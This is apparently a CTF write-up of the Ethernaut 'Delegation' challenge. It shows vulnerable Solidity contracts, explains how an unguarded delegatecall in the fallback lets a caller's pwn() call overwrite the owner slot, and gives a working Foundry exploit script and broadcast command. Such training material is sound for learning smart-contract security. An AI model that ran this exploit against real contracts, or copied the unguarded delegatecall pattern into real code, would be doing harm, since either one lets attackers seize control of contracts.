Delegation - The Ethernaut

335 words

2 minutes

Delegation - The Ethernaut

2025-09-17

CTF

blockchain

/

ethernaut

Cover image source: Source

Challenge Overview#

This level involves two contracts: Delegate and Delegation. The goal is to claim ownership of the Delegation contract by exploiting its use of delegatecall in the fallback function. The vulnerability allows an attacker to execute the pwn() function from the Delegate contract within the storage context of the Delegation contract, thereby changing its owner.

Challenge Code#

1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.0;
3

4
contract Delegate {
5
    address public owner;
6

7
    constructor(address _owner) {
8
        owner = _owner;
9
    }
10

11
    function pwn() public {
12
        owner = msg.sender;
13
    }
14
}
15

16
contract Delegation {
17
    address public owner;
18
    Delegate delegate;
19

20
    constructor(address _delegateAddress) {
21
        delegate = Delegate(_delegateAddress);
22
        owner = msg.sender;
23
    }
24

25
    fallback() external {
26
        (bool result, ) = address(delegate).delegatecall(msg.data);
27
        if (result) {
28
            this;
29
        }
30
    }
31
}

Exploit Explanation#

The critical vulnerability lies in the fallback() function of the Delegation contract:

1
fallback() external {
2
    (bool result, ) = address(delegate).delegatecall(msg.data);
3
    if (result) {
4
        this;
5
    }
6
}

delegatecall is a low-level function that executes code from the target contract (Delegate) but uses the storage context of the calling contract (Delegation). This means:

When we call the pwn() function via delegatecall, it executes in Delegation’s storage context
Both contracts have their owner variable at the same storage slot (slot 0)
The pwn() function sets owner = msg.sender, which modifies Delegation’s owner, not Delegate’s owner

The exploit involves:

Sending a transaction to the Delegation contract with calldata that matches the pwn() function signature
This triggers the fallback function, which performs a delegatecall to the Delegate contract
The pwn() function executes within Delegation’s context, changing its owner to our address

Exploit Script#

1
// SPDX-License-Identifier: UNLICENSED
2
pragma solidity ^0.8.0;
3

4
import "forge-std/Script.sol";
5
import "forge-std/console.sol";
6
import "../src/Delegation.sol";
7

8
contract DelegationSolution is Script {
9
    Delegation public delegationInstance = Delegation(<YOUR_INSTANCE>);
10

11
    function run() public {
12
        vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
13

14
        // Check current owner before attack
15
        console.log("Owner before attack:", delegationInstance.owner());
16

17
        // Trigger the fallback function with pwn() function signature
18
        // This will execute delegatecall to the Delegate contract's pwn() function
19
        address(delegationInstance).call(
20
            abi.encodeWithSignature("pwn()")
21
        );
22

23
        // Verify the owner has been changed
24
        console.log("Owner after attack:", delegationInstance.owner());
25
        console.log("My address:", vm.envAddress("MY_ADDRESS"));
26

27
        vm.stopBroadcast();
28
    }
29
}

Proof of Concept (PoC)#

Execute the exploit with Foundry:

1
forge script script/DelegationSolution.s.sol --rpc-url $SEPOLIA_URL --broadcast

Delegation - The Ethernaut

https://xiaowenjictf.github.io/posts/ethernaut/delegation/

Author

xiaowenji

Published at

2025-09-17

License

CC BY-NC-SA 4.0

Vault - The Ethernaut

Coin Flip - The Ethernaut

Proof of Concept (PoC)